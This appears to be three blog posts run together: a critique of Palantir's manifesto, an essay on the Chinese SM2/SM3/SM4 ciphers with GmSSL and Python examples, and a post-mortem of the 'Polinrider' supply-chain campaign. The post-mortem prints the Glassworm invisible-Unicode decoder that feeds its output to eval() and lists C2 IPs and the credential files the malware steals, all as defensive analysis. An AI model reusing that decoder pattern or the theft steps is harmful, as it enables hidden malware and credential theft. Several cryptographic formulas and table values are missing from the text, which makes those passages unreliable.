In 2023, I wrote about The Paradox of Superhero Leadership. I argued that the “God Complex”, that untainted faith in a CEO’s individual brilliance, is a dangerous game. It prioritises “Vertical Differentiation” (vision and grit) while ignoring the “Mundane Management” and horizontal collaboration that actually keep the wheels on.
Fast forward to 2026, and Palantir’s Alex Karp hasn’t just leaned into the superhero narrative; he’s essentially rewritten the script for a global blockbuster. With the release of Palantir’s 22-Point Manifesto, the internet is, quite predictably, losing its mind. While some see a patriot sounding a necessary alarm for Western defence, others, including Engadget, have branded the document as the “ramblings of a comic book villain”.
But if we strip away the capes and the monologues, what does this manifesto actually tell us about the future of leadership and power?
The Superhero Narrative: Scaled to Civilisation Level
In my original piece, I noted that superhero leaders often simplify leadership into a binary of “good” or “bad” visionaries. 1 Karp has taken this to the next level. He isn’t just trying to “break” an industry; he’s trying to “reorder human life” through what he calls the Ontology, a computational model of reality itself. 4
The manifesto makes it clear: Karp believes Silicon Valley owes a “defence duty” to the state (Point 1). He’s calling for an end to “consumer app obsession” (Point 2) and a pivot toward “software-powered hard power” (Point 4). 5 This is the Superhero Paradox on a civilisational scale. It’s no longer about whether a CEO can save a company; it’s about whether a company can save the West. 7
The “Villain” Parallel: Why the Internet is Scared
The Engadget critique didn’t come out of thin air. When you read points like “Some cultures outperform others; relativism obscures this” (Point 21) or the call for “Universal national service” (Point 6), it’s easy to see why critics on platforms like Reddit draw parallels to Tolkien’s Saruman—a leader who believes his intellectual superiority justifies the use of “corrupted” tools for the “greater good”. 2This brings us back to the Competence Paradox. A leader might be a “superhero” at data integration, but that doesn’t mean they should be the architect of a “Technological Republic” that decides the boundaries of community and identity. 1 Critics argue that Karp’s rejection of “hollow pluralism” (Point 22) is just “political chicanery”, a way to make investors feel “intellectually superior” while building a surveillance state.6
The Flashy vs. The Mundane: The Reality of 2026
The most striking part of the manifesto is the disconnect between the “Flashy” rhetoric and the “Mundane” reality. Karp speaks of “moral clarity” (Point 5) and “giving public figures more grace” (Point 9). 6
However, the tragic reality of the 2026 Minab school strike serves as a grim reminder of what happens when the “God Complex” meets the battlefield. During Operation Epic Fury, Palantir’s Maven software identified a girls’ school as a target, leading to the deadliest civilian strike of the Iran war on 28 February 2026. 10
This is the ultimate failure of the superhero leader: the belief that a “grand vision” can substitute for the “boring” work of rigorous safeguards, auditability, and human oversight. 2 As I noted in 2023, flashy leadership often masks a disregard for basic checks and balances. 1 In the world of high-stakes AI defence, that lack of oversight isn’t just a corporate risk; it’s a mission failure. 12
The New Elite: Neurodivergence and Price’s Law
Interestingly, Karp is also trying to redefine who the heroes are. He claims that in the AI era, only the vocationally trained and the neurodivergent will thrive (Point 16). 14 By launching a “Neurodivergent Fellowship” paying up to $200,000, Palantir is signalling that the future belongs to those who “look at things from a different direction”. 14
This aligns with Price’s Law, which suggests that a tiny fraction of “elite” contributors produce half the results. 15 Karp’s leadership model is built on this radical concentration of talent:
But as any engineering leader will tell you, over-prioritising “superheroes” at the expense of “operational stability” creates technical debt and system fragility. 15
Final Thought: Duty or Domination?
Is Alex Karp the hero the West needs, or the villain we were warned about? The truth, as always, is likely “a million shades of Grey”. 1
The manifesto is a powerful call to move beyond “photo-sharing apps” and take national security seriously. 5 But it also asks us to trust a private company with the “Ontology” of our existence. 4As we enter this “software century,” we must remember the lesson of 2023: true leadership isn’t just about the “superpowers” of a visionary founder. It’s about the “boring” institutions, the “mundane” ethics, and the “horizontal” collaboration that keeps power in check. Without those, even the most “noble” manifesto can start to read like the ramblings of a villain. 1
What do you think? Is Palantir’s 22-point manifesto a roadmap for survival or a warning sign of a God Complex out of control? Let me know in the comments.
The global transition toward decentralised and sovereign cryptographic standards represents one of the most significant shifts in the history of information security. For decades, the international community relied almost exclusively on a handful of standards, primarily those vetted by the National Institute of Standards and Technology (NIST) in the United States. However, the emergence of the ShāngMì (SM) series, collectively known as the Guomi suite, has fundamentally altered this landscape.1 These Chinese national standards, including the SM2 public-key algorithm, the SM3 hash function, and the SM4 block cypher, were initially developed to secure domestic critical infrastructure but have since achieved international recognition through ISO/IEC standardisation and integration into global protocols like TLS 1.3.2
Following my 2023 article on SM2 Public Key Encryption, this follow-on provides a technical evaluation of the Guomi suite, focusing on the architectural nuances of SM3 and SM4. And considering I have spent the last 24 months under the tutelage of some of the finest Cryptographers and Infosec Practioners in the world at the ISG, Royal Holloway, University of London, this one should be more grounded and informative.
I have tried to analyse the computational efficiency, keyspace resilience, and the strategic importance of “cover-time.” This report examines why these algorithms are increasingly viewed as viable, and in some contexts superior, alternatives to Western counterparts like SHA-256 and AES. Furthermore, it situates these technical developments within the broader geopolitical context of cryptographic sovereignty, exploring the drive for independent verification without ideological bias.
Technical Architecture of the SM3 Hashing Algorithm
The SM3 cryptographic hash algorithm, standardised as ISO/IEC 10118-3:2018, is a robust 256-bit hash function designed for high-security commercial applications.3 Built upon the classic Merkle-Damgård construction, it shares structural similarities with the SHA-2 family but introduces specific innovations in its compression function and message expansion logic that significantly improve its resistance to collision and preimage attacks.6
Iteration Compression and Message Expansion
SM3 processes input messages of length bits through an iterative compression process. The message is first padded to a length that is a multiple of 512 bits. Specifically, the padding involves appending a “1” bit, followed by zero bits, where is the smallest non-negative integer satisfying .6 Finally, a 64-bit representation of the original message length is appended.6
The padded message is divided into 512-bit blocks . For each block, a message expansion process generates 132 words ( and ).3 This expansion is more complex than that of SHA-256, utilizing a permutation function to enhance nonlinearity and bit-diffusion.6
The expansion logic for a message block is defined as follows:
Divide into 16 words .
For to :
For to : 3
This expanded word set is then processed through a 64-round compression function utilising eight 32-bit registers ( through ). The compression function employs two sets of Boolean functions, and , which vary depending on the round number.3
Round Range (j)
FFj(X,Y,Z)
GGj(X,Y,Z)
Constant Tj
0x79cc4519
0x7a879d8a
The split in logic between the first 16 rounds and the subsequent 48 rounds is a strategic defence against bit-tracing. The initial rounds rely on pure XOR operations to prevent linear attacks, while the later rounds introduce nonlinear operations to ensure high diffusion and resistance to differential cryptanalysis.6
Performance and Computational Efficiency
While SM3 is structurally similar to SHA-256, its “Davies-Meyer” construction utilises XOR for chaining values, whereas SHA-256 uses modular addition.8 This architectural choice, combined with the more complex message expansion, historically led to the perception that SM3 is slower in software.8 However, contemporary performance evaluations on modern hardware present a different narrative. Research into GPU-accelerated hash operations, specifically the HI-SM3 framework, shows that SM3 can achieve remarkable throughput when parallelism is properly leveraged. On high-end NVIDIA hardware, SM3 has reached peak performance of 454.74 GB/s, outperforming server-class CPUs by over 150 times.11 Even on lower-power embedded GPUs, SM3 has demonstrated a throughput of 5.90 GB/s.11 This suggests that the complexity of the SM3 compression function is well-suited for high-throughput environments such as blockchain validation and large-scale data integrity verification, where GPU offloading is available.7
The SM4 Block Cipher: Robustness and Symmetric Efficiency
SM4 (formerly SMS4) is the first commercial block cipher published by the Chinese State Cryptography Administration in 2006.2 It operates on 128-bit blocks using a 128-bit key, positioning it as the primary alternative to AES-128.2 Unlike the Substitution-Permutation Network (SPN) structure of AES, SM4 utilizes an unbalanced Feistel structure, where the encryption and decryption processes are identical, differing only in the sequence of round keys.2
Round Function and Key Schedule
The SM4 algorithm consists of 32 identical rounds. Each round takes four 32-bit words as input and uses a round key to produce a new word.14 The round function involves a nonlinear substitution step (S-box) and a linear transformation .2
The substitution function is defined by:
where is the nonlinear S-box transformation, applying four independent 8-bit S-boxes in parallel.16 The S-box is constructed via a multiplicative inverse over the finite field , followed by an affine transformation.2
A critical advantage of the Feistel structure in SM4 is the elimination of the need for an inverse S-box during decryption.16 In AES, hardware implementations must account for both the S-box and its inverse, increasing gate counts.16 SM4’s symmetric round structure allows for more compact hardware designs, which is particularly beneficial for resource-constrained IoT devices and smart cards.2
Algebraic Attack Resistance
One of the most compelling arguments for SM4’s superiority in certain security contexts is its resistance to algebraic attacks. Studies comparing the computational complexities of algebraic attacks (such as the XL algorithm) against SM4 and AES suggest that SM4 is significantly more robust.20 This robustness is derived from the complexity of its key schedule and the overdefined systems of quadratic equations it produces. 20
Algorithm
Key Variables
Intermediate Variables
Eqns (Enc)
Eqns (Key)
Complexity
AES
320
1280
8960
2240
(Baseline)
SM4
1024
1024
7168
7168
Higher than AES
The SM4 key schedule utilises nonlinear word rotations and S-box lookups, creating a highly complex relationship between the master key and the round keys.16 This makes the system of equations representing the cipher more difficult to solve than the relatively linear key expansion used in AES-128.20
SM2 and the Parallelism of Elliptic Curve Standards
Asymmetric cryptography is essential for key exchange and digital signatures. The SM2 standard is an elliptic curve cryptosystem (ECC) based on 256-bit prime fields, authorized for core, ordinary, and commercial use in China.21 While Western systems often default to NIST P-256 (secp256r1), SM2 provides a state-verified alternative that addresses concerns regarding parameter generation and “backdoor” potential in special-form curves.22
Curve Parameters and Design Philosophies
NIST curves are designed for maximum efficiency, utilizing quasi-Mersenne primes that facilitate fast modular reduction.26 However, the method used to select NIST parameters has faced criticism for a lack of transparency, leading to the development of “random” curves like the Brainpool series, which prioritize verifiable randomness at the cost of performance.25
SM2 occupies a strategic middle ground. It recommends a specific 256-bit curve but follows a design philosophy that aligns with the need for national security verification.22
The performance of SM2 is highly competitive with ECDSA. In optimised 8-bit implementations, SM2 scalar multiplication has set speed records, outperforming even the NIST P-192 curve in certain conditions.19 Against the traditional RSA algorithm, SM2 offers a significant efficiency gain; a 256-bit SM2 key provides security equivalent to a 3072-bit RSA key while requiring far less computational power for key generation and signature operations.21
Verification and Trust in ECC
The core of the “better option” argument for SM2 lies in trust and diversity. If a vulnerability were discovered in the specific mathematical form of NIST-recommended curves, the entire global financial and communication infrastructure could be at risk.24 By maintaining an independent, state-verified standard, the Guomi suite ensures cryptographic diversity, preventing a single point of failure in the global security ecosystem.32 This is particularly relevant as the community evaluates “nothing-up-my-sleeve” numbers; SM2 provides a layer of assurance for those who prefer an alternative to NIST-vetted parameters. 22
Security Metrics: Keyspace, Work Factor, and Cover Time
The strength of any cryptographic system is measured not only by its mathematical complexity but also by its practical resistance to brute-force and analytical attacks over time. Three key concepts are central to this evaluation: keyspace, work factor, and cover time.
Keyspace and Brute-Force Resilience
The keyspace of SM4 is , which is identical to AES-128.2 In today’s computational environment, cracking a 128-bit key through brute force is infeasible, requiring trillions of years on the most powerful existing supercomputers.35 While AES-256 offers a larger keyspace, the 128-bit security level remains the global benchmark for standard commercial encryption.35
SM3, with its 256-bit output, provides a security margin of 128 bits against collision attacks, which is equivalent to SHA-256.37 The “work factor”—the estimate of effort or time needed for an adversary to overcome a protective measure—is a function of this keyspace and the specific algorithmic efficiency of the attack method.39
The Critical Dimension of Cover Time
“Cover time” refers to the duration for which a plaintext must be kept secret.41 This metric is vital because all ciphers (excluding one-time pads) are theoretically breakable given enough time and energy.43
Tactical Cover Time: For time-critical data, such as a command to launch a missile, the cover time might only be a few minutes. If an algorithm protects the data for an hour, it is sufficient. 42
Strategic Cover Time: For financial records or diplomatic communications, the cover time may be 6 years or more.44
The concept of cover time is now being re-evaluated through the lens of “Harvest Now, Decrypt Later” (HNDL).33 Adversaries are currently collecting encrypted traffic with the intention of decrypting it once cryptographically relevant quantum computers (CRQC) arrive, a date often referred to as “Q-Day”.33 If the cover time of a piece of data exceeds the time remaining until Q-Day, that data is already effectively compromised if intercepted today.45The SM-series algorithms contribute to a longer cover time by providing resistance to classical analytical breakthroughs. Because SM3 and SM4 possess distinct internal designs from the MD4/MD5 lineage and SPN-based ciphers, they offer a hedge against “all-eggs-in-one-basket” scenarios where a new mathematical attack might break one family of algorithms but not another. 32
The Geopolitics of Independent Cryptographic Standards
The development of the Guomi suite is a manifestation of “Cryptographic Sovereignty”—a nation’s ability to govern, secure, and assert authority over its digital environment without overreliance on foreign technology.47 This move is motivated by the desire for technological autonomy and the belief that commercial readiness should precede international policy enforcement.32
Sovereignty versus Autonomy
In the context of modern state power, digital sovereignty extends beyond physical borders into the informational domain.48 For many nations, relying on the encryption standards of a geopolitical rival is seen as a strategic vulnerability. The 2013 revelations regarding NIST standards and potential backdoors served as a wake-up call, accelerating the global drive toward national encryption algorithms.1
Chinese Context: The 2020 Cryptography Law of the People’s Republic of China distinguishes between core, ordinary, and commercial cryptography.15 It mandates the use of SM-series algorithms for critical information infrastructure and commercial data, ensuring that national algorithms protect national secrets.47
Global Impact: This mandate has fundamentally impacted global supply chains. Multinational entities operating in China must implement TLS 1.3 with SM2, SM3, and SM4 to remain compliant with the Multi-Level Protection Scheme (MLPS 2.0).4 Utilising a Western-only platform secured by AES-256 is, from a legal standpoint in that jurisdiction, equivalent to submitting an unsigned document.47
Strategic Diversity in the Post-Quantum Era
The impulse toward digital sovereignty is often equated with control, but from a technical perspective, it is a project of “thick autonomy”.50 By diversifying the algorithmic landscape, the international community becomes more resilient to systemic risks.32 If a major breakthrough were to compromise lattice-based post-quantum schemes, the existence of alternative code-based or hash-based sovereign standards would provide a vital safety net.32
This drive for independence is not unique to China. Countries like Indonesia and various European states are increasingly exploring “indigenous algorithm design” and “sovereign cryptographic systems” to ensure long-term digital independence.48 The goal is not to isolate but to ensure that the “invisible backbone” of the digital economy, cryptography, is not entirely dependent on a single geopolitical actor.33
Implementation and TLS 1.3 Integration
The practical viability of the Guomi suite is demonstrated by its integration into standard internet protocols. RFC 8998 provides the specification for using SM2, SM3, and SM4 within the TLS 1.3 framework.4 This is critical for ensuring that high-security products can maintain interoperability while meeting national security requirements.3
TLS 1.3 Cipher Suites
RFC 8998 defines two primary cipher suites that utilize the Guomi algorithms to fulfill the confidentiality and authenticity requirements of TLS 1.3:
TLS_SM4_GCM_SM3 (0x00, 0xC6)
TLS_SM4_CCM_SM3 (0x00, 0xC7) 4
These suites use SM4 in either Galois/Counter Mode (GCM) or Counter with CBC-MAC (CCM) mode to provide Authenticated Encryption with Associated Data (AEAD).4
Feature
AEAD_SM4_GCM
AEAD_SM4_CCM
Key Length
16 octets (128 bits)
16 octets (128 bits)
Nonce/IV Length
12 octets
12 octets
Authentication Tag
16 octets
16 octets
Max Plaintext
octets
octets
The choice between GCM and CCM often depends on the underlying hardware; GCM is widely preferred for its high-speed parallel processing capabilities, whereas CCM is often utilised in wireless standards like WAPI where resource constraints are more acute.2
Hardware and Software Ecosystem
A robust ecosystem has emerged to support the Guomi suite. The primary open-source implementation is GmSSL, a fork of OpenSSL specifically optimized for SM algorithms.2 In terms of hardware, support has expanded significantly:
Intel: Processors starting from Arrow Lake S, Lunar Lake, and Diamond Rapids include native SM4 support.2
ARM: The ARMv8.4-A expansion includes dedicated SM4 instructions.2
RISC-V: The Zksed extension for RISC-V, ratified in 2021, provides ratified support for SM4.2
This hardware integration is crucial for narrowing the performance gap between SM4 and AES-128. Specialised ISA extensions can reduce the instruction count for an SM4 step to just 6.5 arithmetic instructions, making it a highly efficient choice for high-speed TLS communication and secure storage in mobile devices.16
Hands-on Primer: Implementing Guomi Locally
To truly appreciate the technical nuances of the Guomi suite, it is essential to move beyond the theoretical and experiment with these algorithms in a controlled environment. Most modern systems can support Guomi implementation through two primary channels: the GmSSL command-line toolkit and high-level Python libraries.
Command-Line Walkthrough: GmSSL and OpenSSL
The standard tool for interacting with SM algorithms is GmSSL, an open-source project that implements SM2, SM3, and SM4. While standard OpenSSL has added support for these algorithms, GmSSL remains the reference implementation for developers seeking the full range of national standards.
SM2 Key Generation: Generating an SM2 private key results in an ASN.1 structured file (often .sm2 or .pem). Bash # Generate a private key gmssl sm2 -genkey -out private_key.pem # Derive the public key (the (x, y) coordinates of point Q) gmssl sm2 -pubout -in private_key.pem -out public_key.pem
SM3 Hashing: Hash a file to verify its integrity, equivalent to a 256-bit “digital fingerprint.” Bash gmssl sm3 <your_file.txt>
3. SM4 Symmetric Encryption: Encrypt a file using SM4 in CBC mode, which requires a 128-bit key and an initialisation vector (IV). Bash gmssl sms4 -e -in message.txt -out message.enc
Python Code Walkthrough: pygmssl
For developers building applications, Python provides straightforward wrappers such as pygmssl that abstract the complexity of C-based implementations.
Step 1: Environment Setup
Install the library via pip:
Bash
pip install pygmssl
Step 2: Hashing with SM3
The library requires input data to be formatted as bytes. Strings must be encoded before processing.
Python
from pygmssl.sm3 import SM3
data = b"hello, world"
# Compute hash in a single call
print(f"SM3 Hash: {SM3(data).hexdigest()}")
# Or hash by part for streaming data
s3 = SM3()
s3.update(b"hello, ")
s3.update(b"world")
print(f"Streaming Hash: {s3.hexdigest()}")
Step 3: Symmetric Encryption with SM4
SM4 operates on 128-bit blocks, making it highly efficient for bulk data encryption when used in modes like CBC.
Python
from pygmssl.sm4 import SM4, MOD
# Key and IV must be 16 bytes (128 bits)
key = b'0123456789abcdef'
iv = b'fedcba9876543210'
cipher = SM4(key, mode=MOD.CBC, iv=iv)
plaintext = b"sensitive data"
# The library handles padding (typically PKCS7) automatically
ciphertext = cipher.encrypt(plaintext)
decrypted = cipher.decrypt(ciphertext)
assert plaintext == decrypted
Step 4: Asymmetric Identity with SM2
SM2 can be used to generate key pairs and sign messages, proving possession of a private key without disclosing it.
Python
from pygmssl.sm2 import SM2
# Generate a new pair: 32-byte private key, 64-byte public key (x,y)
s2 = SM2.generate_new_pair()
print(f"Private Key: {s2.pri_key.hex()}")
print(f"Public Key: {s2.pub_key.hex()}")
This hands-on accessibility ensures that organisations can test for “crypto-agility” and compatibility within their local development cycles before committing to regional deployments.
Strategic Option
The determination of whether an encryption standard is “better” is contextual. When evaluated against the requirements of the modern geopolitical and technical era, the Guomi suite offers several unique advantages over the exclusive use of Western standards.
Diversity as a Defense Strategy
Systemic risk reduction is perhaps the strongest technical argument for adopting SM3 and SM4 alongside traditional standards.32 A “monoculture” in cryptography—where everyone uses the same NIST curves and SHA-2 functions—is a security vulnerability.32 A breakthrough against one design would leave the global economy exposed.33 The Guomi suite provides a separate mathematical lineage, ensuring that the digital landscape remains resilient even if unforeseen vulnerabilities are found in SPN-based ciphers or specific ECC parameter sets.32
Computational and Algebraic Superiority
Hashing Efficiency: While SHA-256 remains the global baseline, SM3’s structural design is highly optimized for GPU parallelism, making it a “better” option for emerging high-throughput applications like distributed ledgers and real-time data integrity audits.7
Symmetric Robustness: SM4’s Feistel structure offers a more compact hardware profile than AES and exhibits greater resistance to algebraic attacks, which are a primary concern in the era of advanced analytical cryptanalysis.16
Asymmetric Versatility: SM2 offers a state-vetted alternative to NIST curves, avoiding the “black box” controversies that have plagued Western ECC while providing a significant performance leap over legacy RSA systems.21
Navigating the Geopolitical Reality
From a strategic standpoint, an independent encryption standard is a prerequisite for state autonomy.48 For organisations operating globally, “crypto-agility”, he ability to support both NIST and Guomi suites is no longer optional; it is a regulatory and commercial necessity.34 The transition to sovereign standards ensures that the “cover time” of sensitive data is protected not just by the length of a key, but by the independence of the verification process and the diversity of the underlying mathematics. 32 As we approach the quantum era and the potential of “Q-Day,” the maturity of the Guomi suite provides a vital fallback. Its international standardisation and robust hardware support signify that China’s recommended algorithms have transitioned from a regional requirement to a foundational element of the global secure communication framework. The case for SM3 and SM4 is not one of replacing existing standards, but of expanding the arsenal of cryptographic tools available to defend the integrity and confidentiality of the world’s digital infrastructure.32
Industrialised Software Ecosystem Subversion and the Weaponisation of Invisible Unicode
Executive Summary
The early months of 2026 marked a pivotal escalation in the sophistication of software supply chain antagonism, characterised by a coordinated, multi-ecosystem offensive targeting the global development community. Central to this campaign was the Polinrider operation, a sprawling initiative attributed to Democratic People’s Republic of Korea (DPRK) state-sponsored threat actors; specifically, the Lazarus Group and its financially motivated subgroup, BlueNoroff.1 The campaign exploited the inherent trust embedded within modern developer tools, package registries, and version control systems to achieve an industrialised scale of compromise, affecting over 433 software components within a single fourteen-day window in March 2026.3
The offensive architecture relied on two primary technical innovations: the Glassworm module and the ForceMemo injection methodology. Glassworm utilised invisible Unicode characters from the Private Use Area (PUA) and variation selector blocks to embed malicious payloads within source files, effectively bypassing visual code reviews and traditional static analysis.3 ForceMemo, identified as a second-stage execution phase, leveraged credentials stolen during the initial Glassworm wave to perform automated account takeovers (ATO) across hundreds of GitHub repositories.5 By rebasing and force-pushing malicious commits into Python-based projects, the adversary successfully poisoned downstream dependencies while maintaining a stealthy presence through the manipulation of Git metadata.5 Furthermore, the command-and-control (C2) infrastructure associated with these operations demonstrated a strategic shift toward decentralised resilience. By utilising the Solana blockchain’s Memo program to broadcast immutable instructions and payload URLs, the threat actor mitigated the risks associated with traditional domain-level takedowns and infrastructure seizures.3 The campaign’s lineage, which traces back to the 2023 RustBucket and 2024 Hidden Risk operations, underscores a persistent and highly adaptive adversary targeting the technological and financial sectors through the subversion of the modern developer workstation.1 This post-mortem provides a technical reconstruction of the attack anatomy, assesses the systemic blast radius, and defines the remediation protocols necessary to fortify the global software supply chain.
Architecture: The Multi-Vector Infiltration Model
The architecture of the Polinrider campaign was designed for maximum horizontal expansion across the primary pillars of the software development lifecycle: the Integrated Development Environment (IDE), the package manager, and the repository host. Unlike previous supply chain incidents that focused on a single point of failure, Polinrider operated as a coordinated, multi-ecosystem push, ensuring that compromising a single developer’s workstation could be leveraged to poison multiple downstream environments.4
The VS Code and Open VSX Infiltration Layer
The Integrated Development Environment served as the initial entry point for the campaign, with the Visual Studio Code (VS Code) marketplace and the Open VSX registry acting as the primary distribution channels. The adversary exploited the broad permissions granted to IDE extensions, which often operate with the equivalent of local administrative access to the developer’s filesystem, environment variables, and network configuration.8The offensive architecture at this stage shifted from direct payload embedding to a more sophisticated “transitive delivery” model. Attackers published seemingly benign utility extensions—such as linters, code formatters, and database integrations—to establish a baseline of trust and high download counts.10 Once these extensions reached a critical mass of installations, the adversary pushed updates that utilised the extensionPack and extensionDependencies manifest fields to automatically pull and install a separate, malicious Glassworm-linked extension.10 Because VS Code extensions auto-update by default, thousands of developers were infected without manual intervention or notification.5
Extension Category
Spoofed Utility
Primary Mechanism
Target Ecosystem
Formatters
Prettier, ESLint
Transitive Dependency
JavaScript / TypeScript
Language Tools
Angular, Flutter, Vue
extensionPack Hijack
Web / Mobile Development
Quality of Life
vscode-icons, WakaTime
Auto-update Poisoning
General Productivity
AI Development.5
Claude Code, Codex
Settings Injection
LLM / AI Orchestration
The npm and Package Registry Subversion
Simultaneous to the IDE-based attacks, the Polinrider campaign targeted the npm ecosystem through a combination of maintainer account hijacking and typosquatting. Malicious versions of established packages, such as @aifabrix/miso-client and @iflow-mcp/watercrawl-watercrawl-mcp, were published containing the Glassworm decoder pattern.4 In several instances, such as the compromise of popular React Native packages, the adversary evolved their delivery mechanism across multiple releases.12
The technical architecture of the npm compromise transitioned from simple postinstall hooks to complex, multi-layered dependency chains. For example, the package @usebioerhold8733/s-format underwent four distinct version updates in a 48-hour window.12 Initial versions contained inert hooks to test detection triggers, while subsequent versions introduced heavily obfuscated JavaScript payloads designed to establish a persistent connection to the Solana-based C2 infrastructure.12 This incremental staging suggests an adversarial strategy of “testing in production” to identify the limits of automated package analysis tools.
The GitHub Repository and Version Control Vector
The final architectural layer of the campaign involved the systematic poisoning of the GitHub ecosystem. Between March 3 and March 13, 2026, two parallel waves were identified: an initial wave of 151+ repositories containing invisible Unicode injections and a subsequent ForceMemo wave targeting 240+ repositories through account takeover and force-pushing.6The ForceMemo architecture is particularly notable for its subversion of Git’s internal object database. By utilizing stolen GitHub tokens harvested during the Glassworm phase, the adversary gained the ability to rewrite repository history. The attack logic involved taking the latest legitimate commit on a repository’s default branch, rebasing it with malicious code appended to critical Python files (e.g., setup.py, app.py), and force-pushing the result.6 This architectural choice bypassed branch protection rules and pull request reviews, as the malicious code appeared as a direct commit from the original, trusted author.5
Anatomy: Invisible Payloads and Decentralised Control
The technical construction of the Polinrider modules represents a sophisticated convergence of character encoding manipulation and blockchain-augmented operational security.
Glassworm: The Invisible Unicode Technique
The Glassworm payload relies on the exploitation of the Unicode standard to hide malicious logic within source code. The technique utilizes characters from the Private Use Area (PUA) and variation selectors that are rendered as zero-width or empty space in nearly all modern text editors, terminals, and code review interfaces.4
The malicious code typically consists of a small, visible decoder function that processes a seemingly empty string. A technical analysis of the decoder identifies the following pattern:
JavaScript
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF? w - 0xE0100 + 16 : null
)).filter(n => n!== null);
eval(Buffer.from(s(``)).toString('utf-8'));
The string passed to the function s() contains the invisible Unicode characters. The decoder iterates through the code points of these characters, mapping them back into numerical byte values. Specifically, the range to (Variation Selectors) and to (Variation Selectors Supplement) are used as the encoding medium.4 Once the bytes are reconstructed into a readable string, the script executes the resulting payload via eval().4 This second-stage payload is typically a Remote Access Trojan (RAT) or a credential harvester designed to exfiltrate secrets to the attacker’s infrastructure.
ForceMemo: Account Takeover and Git Subversion
The ForceMemo component of the campaign serves as the primary mechanism for lateral movement and repository poisoning. Its anatomy is defined by the theft of high-value developer credentials, including:
GitHub tokens harvested from VS Code extension storage and ~/.git-credentials.6
NPM and Git configuration secrets.5
Cryptocurrency wallet private keys from browser extensions like MetaMask and Phantom.6
Upon obtaining a valid developer token, the ForceMemo module initiates an automated injection routine. It identifies the repository’s default branch and identifies critical files such as main.py or app.py in Python-based projects.13 The malware appends a Base64-encoded payload to these files and performs a git push --force operation.6 This method is designed to leave minimal traces; because the rebase preserves the original commit message, author name, and author date, only the “committer date” is modified, a detail that is often ignored by most standard monitoring tools.5
Command and Control via Solana Blockchain
The Polinrider C2 infrastructure utilises the Solana blockchain as an immutable and censorship-resistant communication channel. The malware is programmed to query a specific Solana wallet address (e.g., G2YxRa…) to retrieve instructions.5 These instructions are embedded within the “memo” field of transactions associated with the address, utilising Solana’s Memo program.5The threat actor updates the payload URL by posting new transactions to the blockchain. The malware retrieves these transactions, decodes the memo data to obtain the latest server IP or payload path, and fetches the next-stage JavaScript or Python payload.5 The StepSecurity threat intelligence team identified that the adversary rotated through at least six distinct server IPs between December 2025 and March 2026, indicating a highly resilient and actively managed infrastructure.6
C2 Server IP
Active Period
Primary Function
45.32.151.157
December 2025
Initial Payload Hosting
45.32.150.97
February 2026
Infrastructure Rotation
217.69.11.57
February 2026
Secondary Staging
217.69.11.99
Feb – March 2026
Peak Campaign Activity
217.69.0.159
March 13, 2026
ForceMemo Active Wave
45.76.44.240
March 13, 2026
Parallel Execution Node
Blastradius: Systemic Impact and Ecosystem Exposure
The blast radius of the Polinrider campaign is characterised by its impact on the fundamental trust model of the software development lifecycle. Because the campaign targeted developers—the “privileged users” of the technological stack—the potential for lateral movement into production environments and sensitive infrastructure is unprecedented.
Developer Workstation Compromise
The compromise of VS Code extensions effectively transformed thousands of developer workstations into adversarial nodes. Once a malicious extension was installed, the Glassworm implant (compiled as os.node for Windows or darwin.node for macOS) established persistence via registry keys and LaunchAgents.11 These implants provided the threat actors with:
Remote Access: Deployment of SOCKS proxies and hidden VNC servers for manual host control.5
Credential Theft: Systematic harvesting of Git tokens, SSH keys, and browser-stored cookies.6
Asset Theft: Extraction of cryptocurrency wallet seed phrases and private keys.5
Furthermore, the campaign targeted AI-assisted development workflows. Repositories containing SKILL.md files were used to target agents like OpenClaw, which automatically discover and install external “skills” from GitHub.14 This allowed the malware to be delivered through both traditional user-driven workflows and automated agentic interactions.14
Impact on the Python and React Native Ecosystems
The ForceMemo wave specifically targeted Python projects, which are increasingly critical for machine learning research and data science.5 Compromised repositories included Django applications and Streamlit dashboards, many of which are used in enterprise environments.5 The injection of malicious code into these projects has a long-tail effect; any developer who clones or updates a compromised repository unknowingly executes the malware, potentially leading to further account takeovers and data exfiltration.
In the npm registry, the compromise of packages like react-native-international-phone-number and react-native-country-select impacted a significant number of mobile application developers.12 These packages, with combined monthly downloads exceeding 130,000, provided a high-leverage entry point for poisoning mobile applications at the source.12
Infrastructure and Corporate Exposure
The hijacking of verified GitHub organisations, such as the dev-protocol organisation, represents a critical failure of the platform’s trust signals. By inheriting the organisation’s verified badge and established history, the attackers bypassed the credibility checks typically performed by developers.15 The malicious repositories distributed through this organisation were designed to exfiltrate .env files, often containing sensitive API keys and database credentials, to attacker-controlled endpoints.15 This demonstrates that even “verified” sources cannot be implicitly trusted in a post-Polinrider landscape.
Adversary Persona: The BlueNoroff and Lazarus Lineage
Attribution of the Polinrider and Glassworm campaigns points decisively toward state-sponsored actors aligned with the Democratic People’s Republic of Korea (DPRK), specifically the Lazarus Group and its financially motivated subgroup, BlueNoroff.1 The campaign exhibits a clear lineage of technical evolution, infrastructure reuse, and operational signatures consistent with North Korean cyber operations.
Technical Lineage and Module Evolution
The Polinrider malware, particularly the macWebT project used for macOS compromise, shows a direct technical descent from the 2023 RustBucket campaign.1 Forensic analysis of build artifacts reveals a consistent internal naming convention and a shift in programming languages while maintaining identical communication fingerprints.
Campaign Phase
Codename
Language
C2 Library
Beacon Interval
RustBucket (2023)
webT
Rust
Rust HTTP
60 Seconds
Hidden Risk (2024)
webT
C++
libcurl
60 Seconds
Axios/Polinrider (2026)
macWebT
C++
libcurl
60 Seconds
All variants across this three-year period utilise the exact same IE8/Windows XP User-Agent string: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0).1
This level of consistency suggests a shared core code library and a common set of operational protocols across different DPRK-aligned groups.
APT37 (ScarCruft) and Parallel Tactics
While BlueNoroff is the primary suspect for the financial and repository-centric phases, there is significant overlap with APT37 (also known as ScarCruft or Ruby Sleet).7 APT37 has been observed utilising a similar single-server C2 model to orchestrate varied malware, including the Rust-based Rustonotto (CHILLYCHINO) backdoor and the FadeStealer data exfiltrator.7 The use of advanced injection techniques, such as Process Doppelgänging, further aligns with the high technical proficiency demonstrated in the Glassworm Unicode attacks.7
Operational Security and Victim Selection
